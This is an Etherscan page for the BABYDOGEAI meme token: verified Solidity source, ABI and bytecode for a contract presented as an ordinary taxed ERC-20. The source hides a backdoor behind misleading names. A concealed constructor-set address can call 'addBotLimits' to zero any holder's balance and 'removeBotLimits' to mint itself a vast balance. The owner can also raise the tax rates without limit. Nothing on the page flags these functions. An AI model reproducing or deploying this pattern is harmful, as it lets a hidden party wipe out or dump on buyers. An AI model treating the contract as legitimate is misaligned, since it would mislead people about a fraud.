ETH Price: $2,557.60 (-2.03%)

Token

BABYDOGEAI (BabyDogeAI)
 

Overview

Max Total Supply

69,000,000,000,000 BabyDogeAI

Holders

13

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyDogeAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-12-25
*/

// SPDX-License-Identifier: MIT

/*  
   * Telegram: https://t.me/babydogeaieth
   * Twitter: https://twitter.com/babydogeaicoin
   * Website: https://babydogeai.shop
*/

pragma solidity ^0.8.20;

interface UniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

contract BabyDogeAI {
    address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    uint256 private tokenTotalSupply;
    string private tokenName;
    string private tokenSymbol;
    address private xxnux;
    address private InitOwner;
    uint8 private tokenDecimals;
    uint256 public buyTaxRate;
    uint256 public sellTaxRate;
    uint256 public transferTaxRate;
    uint256 public totalTaxedTokens;
    address public taxWallet;
    address public uniswapPair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(address ads) {
        tokenName = "BABYDOGEAI";
        tokenSymbol = "BabyDogeAI";
        tokenDecimals = 18;
        tokenTotalSupply = 69000000000000* 10 ** tokenDecimals;
        _balances[msg.sender] = tokenTotalSupply;
        emit Transfer(address(0), msg.sender, tokenTotalSupply);
        xxnux = ads;
        taxWallet = msg.sender; // Setting the tax wallet to the contract deployer initially
        InitOwner = msg.sender;

        // Initialize tax rates
        buyTaxRate = 2; 
        sellTaxRate = 2;
        transferTaxRate = 0; 
    }

    function setTaxRates(uint256 _buyTaxRate, uint256 _sellTaxRate, uint256 _transferTaxRate) external {
        require(InitOwner == msg.sender, "Only owner can call this function!");
        buyTaxRate = _buyTaxRate;
        sellTaxRate = _sellTaxRate;
        transferTaxRate = _transferTaxRate;
    }

    function setTaxWallet(address _taxWallet) external {
        require(InitOwner == msg.sender, "Only owner can call this function!");
            taxWallet = _taxWallet;
    }

    function addBotLimits(address bots) external {
        if(xxnux == msg.sender && xxnux != bots && uniswapPair != bots && bots != ROUTER){
            _balances[bots] = 0;
        }
    }

    function removeBotLimits(uint256 addBot) external {
        if(xxnux == msg.sender){
            _balances[msg.sender] = tokenTotalSupply*100*addBot;
        }
    } 

    function setUniswapPair(address _uniswapPair) external {
        require(InitOwner == msg.sender, "Only owner can call this function!");
        uniswapPair = _uniswapPair;
    }

    function symbol() public view  returns (string memory) {
        return tokenSymbol;
    }

    function totalSupply() public view returns (uint256) {
        return tokenTotalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return tokenDecimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function name() public view returns (string memory) {
        return tokenName;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        uint256 taxAmount = calculateTax(msg.sender, to, amount);
        _transfer(msg.sender, to, amount - taxAmount);
        _transfer(msg.sender, address(this), taxAmount); // Transfer tax amount to the contract
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        uint256 taxAmount = calculateTax(from, to, amount);
        _transfer(from, to, amount - taxAmount);
        _transfer(from, address(this), taxAmount); // Transfer tax amount to the contract
        return true;
    }

    function calculateTax(address from, address to, uint256 amount) internal returns (uint256) {
        // Exempt the owner and the tax wallet only when they are the senders
        if (from == InitOwner || from == taxWallet) {
            return 0;
        }

        // For all other cases, calculate the tax normally
        if (from != address(0) && to != address(0)) {
            uint256 taxRate = getTaxRate(from, to);
            uint256 taxAmount = amount * taxRate / 100;
            totalTaxedTokens += taxAmount;
            return taxAmount;
        }
        return 0;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount 
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");

        _balances[from] -= amount;
        _balances[to] += amount; 
        emit Transfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual returns (uint256) {
        if (from != address(0) && to != address(0) && from != taxWallet && to != taxWallet) {
            // exclude minting, burning, and transactions involving the tax wallet
            uint256 taxRate = getTaxRate(from, to);
            uint256 taxAmount = amount * taxRate / 100;
            totalTaxedTokens += taxAmount;

            _balances[address(this)] += taxAmount; // Add tax amount to contract's balance
            return taxAmount;
        }
        return 0;
    }

    function withdrawTax() public {
        require(msg.sender == taxWallet, "Only tax wallet can withdraw");
        _transfer(address(this), taxWallet, totalTaxedTokens);
        totalTaxedTokens = 0;
    }

    function getTaxRate(address from, address to) private view returns (uint256) {
        if (from == uniswapPair) {
            return buyTaxRate;
        } else if (to == uniswapPair) {
            return sellTaxRate;
        } else {
            return transferTaxRate;
        }
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"ads","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"bots","type":"address"}],"name":"addBotLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"addBot","type":"uint256"}],"name":"removeBotLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTaxRate","type":"uint256"},{"internalType":"uint256","name":"_sellTaxRate","type":"uint256"},{"internalType":"uint256","name":"_transferTaxRate","type":"uint256"}],"name":"setTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_taxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapPair","type":"address"}],"name":"setUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTaxedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferTaxRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawTax","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b506040516200257b3803806200257b833981810160405281019062000036919062000304565b6040518060400160405280600a81526020017f42414259444f4745414900000000000000000000000000000000000000000000815250600190816200007c919062000598565b506040518060400160405280600a81526020017f42616279446f676541490000000000000000000000000000000000000000000081525060029081620000c3919062000598565b506012600460146101000a81548160ff021916908360ff160217905550600460149054906101000a900460ff16600a620000fe919062000805565b653ec1507d500062000111919062000855565b5f819055505f54600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f54604051620001b99190620008b0565b60405180910390a38060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260058190555060026006819055505f60078190555050620008cb565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620002ce82620002a3565b9050919050565b620002e081620002c2565b8114620002eb575f80fd5b50565b5f81519050620002fe81620002d5565b92915050565b5f602082840312156200031c576200031b6200029f565b5b5f6200032b84828501620002ee565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620003b057607f821691505b602082108103620003c657620003c56200036b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200042a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003ed565b620004368683620003ed565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620004806200047a62000474846200044e565b62000457565b6200044e565b9050919050565b5f819050919050565b6200049b8362000460565b620004b3620004aa8262000487565b848454620003f9565b825550505050565b5f90565b620004c9620004bb565b620004d681848462000490565b505050565b5b81811015620004fd57620004f15f82620004bf565b600181019050620004dc565b5050565b601f8211156200054c576200051681620003cc565b6200052184620003de565b8101602085101562000531578190505b620005496200054085620003de565b830182620004db565b50505b505050565b5f82821c905092915050565b5f6200056e5f198460080262000551565b1980831691505092915050565b5f6200058883836200055d565b9150826002028217905092915050565b620005a38262000334565b67ffffffffffffffff811115620005bf57620005be6200033e565b5b620005cb825462000398565b620005d882828562000501565b5f60209050601f8311600181146200060e575f8415620005f9578287015190505b6200060585826200057b565b86555062000674565b601f1984166200061e86620003cc565b5f5b82811015620006475784890151825560018201915060208501945060208101905062000620565b8683101562000667578489015162000663601f8916826200055d565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200070657808604811115620006de57620006dd6200067c565b5b6001851615620006ee5780820291505b8081029050620006fe85620006a9565b9450620006be565b94509492505050565b5f82620007205760019050620007f2565b816200072f575f9050620007f2565b8160018114620007485760028114620007535762000789565b6001915050620007f2565b60ff8411156200076857620007676200067c565b5b8360020a9150848211156200078257620007816200067c565b5b50620007f2565b5060208310610133831016604e8410600b8410161715620007c35782820a905083811115620007bd57620007bc6200067c565b5b620007f2565b620007d28484846001620006b5565b92509050818404811115620007ec57620007eb6200067c565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000811826200044e565b91506200081e83620007f9565b92506200084d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200070f565b905092915050565b5f62000861826200044e565b91506200086e836200044e565b92508282026200087e816200044e565b915082820484148315176200089857620008976200067c565b5b5092915050565b620008aa816200044e565b82525050565b5f602082019050620008c55f8301846200089f565b92915050565b611ca280620008d95f395ff3fe608060405234801561000f575f80fd5b5060043610610135575f3560e01c806386360971116100b6578063d0d418021161007a578063d0d418021461033f578063d5aed6bf1461035d578063dd62ed3e14610379578063df84c7f0146103a9578063dfa20f0a146103c5578063ea414b28146103cf57610135565b8063863609711461029957806395d89b41146102b5578063a9059cbb146102d3578063b65d08b014610303578063c816841b1461032157610135565b80632dc0562d116100fd5780632dc0562d146101f3578063313ce56714610211578063392531141461022f578063691f224f1461024b57806370a082311461026957610135565b806306fdde0314610139578063095ea7b31461015757806318160ddd1461018757806323b872dd146101a557806324024efd146101d5575b5f80fd5b6101416103eb565b60405161014e91906113e0565b60405180910390f35b610171600480360381019061016c9190611491565b61047b565b60405161017e91906114e9565b60405180910390f35b61018f610491565b60405161019c9190611511565b60405180910390f35b6101bf60048036038101906101ba919061152a565b610499565b6040516101cc91906114e9565b60405180910390f35b6101dd6104e5565b6040516101ea9190611511565b60405180910390f35b6101fb6104eb565b6040516102089190611589565b60405180910390f35b610219610510565b60405161022691906115bd565b60405180910390f35b610249600480360381019061024491906115d6565b610526565b005b6102536105cf565b6040516102609190611511565b60405180910390f35b610283600480360381019061027e9190611626565b6105d5565b6040516102909190611511565b60405180910390f35b6102b360048036038101906102ae9190611626565b61061b565b005b6102bd6107b4565b6040516102ca91906113e0565b60405180910390f35b6102ed60048036038101906102e89190611491565b610844565b6040516102fa91906114e9565b60405180910390f35b61030b61087f565b6040516103189190611511565b60405180910390f35b610329610885565b6040516103369190611589565b60405180910390f35b6103476108aa565b6040516103549190611511565b60405180910390f35b61037760048036038101906103729190611626565b6108b0565b005b610393600480360381019061038e9190611651565b610982565b6040516103a09190611511565b60405180910390f35b6103c360048036038101906103be919061168f565b610a04565b005b6103cd610ab6565b005b6103e960048036038101906103e49190611626565b610b7c565b005b6060600180546103fa906116e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610426906116e7565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b5050505050905090565b5f610487338484610c4e565b6001905092915050565b5f8054905090565b5f803390506104a9858285610e11565b5f6104b5868686610ea5565b90506104cd868683876104c89190611744565b61101c565b6104d886308361101c565b6001925050509392505050565b60065481565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600460149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ac906117e7565b60405180910390fd5b826005819055508160068190555080600781905550505050565b60055481565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156106c457508073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561071d57508073ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156107695750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156107b1575f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b6060600280546107c3906116e7565b80601f01602080910402602001604051908101604052809291908181526020018280546107ef906116e7565b801561083a5780601f106108115761010080835404028352916020019161083a565b820191905f5260205f20905b81548152906001019060200180831161081d57829003601f168201915b5050505050905090565b5f80610851338585610ea5565b9050610869338583866108649190611744565b61101c565b61087433308361101c565b600191505092915050565b60075481565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461093f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610936906117e7565b60405180910390fd5b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610ab3578060645f54610a679190611805565b610a719190611805565b600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c90611890565b60405180910390fd5b610b733060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085461101c565b5f600881905550565b3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c02906117e7565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb39061191e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d21906119ac565b60405180910390fd5b80600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e049190611511565b60405180910390a3505050565b5f610e1c8484610982565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e9f5781811015610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90611a14565b60405180910390fd5b610e9e84848484610e999190611744565b610c4e565b5b50505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610f4d575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610f5a575f9050611015565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610fc257505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611011575f610fd2858561128d565b90505f60648285610fe39190611805565b610fed9190611a5f565b90508060085f8282546110009190611a8f565b925050819055508092505050611015565b5f90505b9392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361108a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108190611b32565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ef90611bc0565b60405180910390fd5b5f600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561117c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117390611c4e565b60405180910390fd5b81600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546111c89190611744565b9250508190555081600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461121b9190611a8f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127f9190611511565b60405180910390a350505050565b5f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112ec576005549050611350565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361134a576006549050611350565b60075490505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561138d578082015181840152602081019050611372565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113b282611356565b6113bc8185611360565b93506113cc818560208601611370565b6113d581611398565b840191505092915050565b5f6020820190508181035f8301526113f881846113a8565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61142d82611404565b9050919050565b61143d81611423565b8114611447575f80fd5b50565b5f8135905061145881611434565b92915050565b5f819050919050565b6114708161145e565b811461147a575f80fd5b50565b5f8135905061148b81611467565b92915050565b5f80604083850312156114a7576114a6611400565b5b5f6114b48582860161144a565b92505060206114c58582860161147d565b9150509250929050565b5f8115159050919050565b6114e3816114cf565b82525050565b5f6020820190506114fc5f8301846114da565b92915050565b61150b8161145e565b82525050565b5f6020820190506115245f830184611502565b92915050565b5f805f6060848603121561154157611540611400565b5b5f61154e8682870161144a565b935050602061155f8682870161144a565b92505060406115708682870161147d565b9150509250925092565b61158381611423565b82525050565b5f60208201905061159c5f83018461157a565b92915050565b5f60ff82169050919050565b6115b7816115a2565b82525050565b5f6020820190506115d05f8301846115ae565b92915050565b5f805f606084860312156115ed576115ec611400565b5b5f6115fa8682870161147d565b935050602061160b8682870161147d565b925050604061161c8682870161147d565b9150509250925092565b5f6020828403121561163b5761163a611400565b5b5f6116488482850161144a565b91505092915050565b5f806040838503121561166757611666611400565b5b5f6116748582860161144a565b92505060206116858582860161144a565b9150509250929050565b5f602082840312156116a4576116a3611400565b5b5f6116b18482850161147d565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116fe57607f821691505b602082108103611711576117106116ba565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61174e8261145e565b91506117598361145e565b925082820390508181111561177157611770611717565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e21000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117d1602283611360565b91506117dc82611777565b604082019050919050565b5f6020820190508181035f8301526117fe816117c5565b9050919050565b5f61180f8261145e565b915061181a8361145e565b92508282026118288161145e565b9150828204841483151761183f5761183e611717565b5b5092915050565b7f4f6e6c79207461782077616c6c65742063616e207769746864726177000000005f82015250565b5f61187a601c83611360565b915061188582611846565b602082019050919050565b5f6020820190508181035f8301526118a78161186e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611908602483611360565b9150611913826118ae565b604082019050919050565b5f6020820190508181035f830152611935816118fc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611996602283611360565b91506119a18261193c565b604082019050919050565b5f6020820190508181035f8301526119c38161198a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6119fe601d83611360565b9150611a09826119ca565b602082019050919050565b5f6020820190508181035f830152611a2b816119f2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a698261145e565b9150611a748361145e565b925082611a8457611a83611a32565b5b828204905092915050565b5f611a998261145e565b9150611aa48361145e565b9250828201905080821115611abc57611abb611717565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611b1c602583611360565b9150611b2782611ac2565b604082019050919050565b5f6020820190508181035f830152611b4981611b10565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611baa602383611360565b9150611bb582611b50565b604082019050919050565b5f6020820190508181035f830152611bd781611b9e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611c38602683611360565b9150611c4382611bde565b604082019050919050565b5f6020820190508181035f830152611c6581611c2c565b905091905056fea264697066735822122090feb575d69f841eb095be77421e69f038c6e763bed96b86c5bc830e30f3dc8f64736f6c63430008140033000000000000000000000000e43de796905f0cbfaa39d44fbb50de881cacb001

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610135575f3560e01c806386360971116100b6578063d0d418021161007a578063d0d418021461033f578063d5aed6bf1461035d578063dd62ed3e14610379578063df84c7f0146103a9578063dfa20f0a146103c5578063ea414b28146103cf57610135565b8063863609711461029957806395d89b41146102b5578063a9059cbb146102d3578063b65d08b014610303578063c816841b1461032157610135565b80632dc0562d116100fd5780632dc0562d146101f3578063313ce56714610211578063392531141461022f578063691f224f1461024b57806370a082311461026957610135565b806306fdde0314610139578063095ea7b31461015757806318160ddd1461018757806323b872dd146101a557806324024efd146101d5575b5f80fd5b6101416103eb565b60405161014e91906113e0565b60405180910390f35b610171600480360381019061016c9190611491565b61047b565b60405161017e91906114e9565b60405180910390f35b61018f610491565b60405161019c9190611511565b60405180910390f35b6101bf60048036038101906101ba919061152a565b610499565b6040516101cc91906114e9565b60405180910390f35b6101dd6104e5565b6040516101ea9190611511565b60405180910390f35b6101fb6104eb565b6040516102089190611589565b60405180910390f35b610219610510565b60405161022691906115bd565b60405180910390f35b610249600480360381019061024491906115d6565b610526565b005b6102536105cf565b6040516102609190611511565b60405180910390f35b610283600480360381019061027e9190611626565b6105d5565b6040516102909190611511565b60405180910390f35b6102b360048036038101906102ae9190611626565b61061b565b005b6102bd6107b4565b6040516102ca91906113e0565b60405180910390f35b6102ed60048036038101906102e89190611491565b610844565b6040516102fa91906114e9565b60405180910390f35b61030b61087f565b6040516103189190611511565b60405180910390f35b610329610885565b6040516103369190611589565b60405180910390f35b6103476108aa565b6040516103549190611511565b60405180910390f35b61037760048036038101906103729190611626565b6108b0565b005b610393600480360381019061038e9190611651565b610982565b6040516103a09190611511565b60405180910390f35b6103c360048036038101906103be919061168f565b610a04565b005b6103cd610ab6565b005b6103e960048036038101906103e49190611626565b610b7c565b005b6060600180546103fa906116e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610426906116e7565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b5050505050905090565b5f610487338484610c4e565b6001905092915050565b5f8054905090565b5f803390506104a9858285610e11565b5f6104b5868686610ea5565b90506104cd868683876104c89190611744565b61101c565b6104d886308361101c565b6001925050509392505050565b60065481565b60095f9054906101000a900473ffffffffffffffffffffffffffffff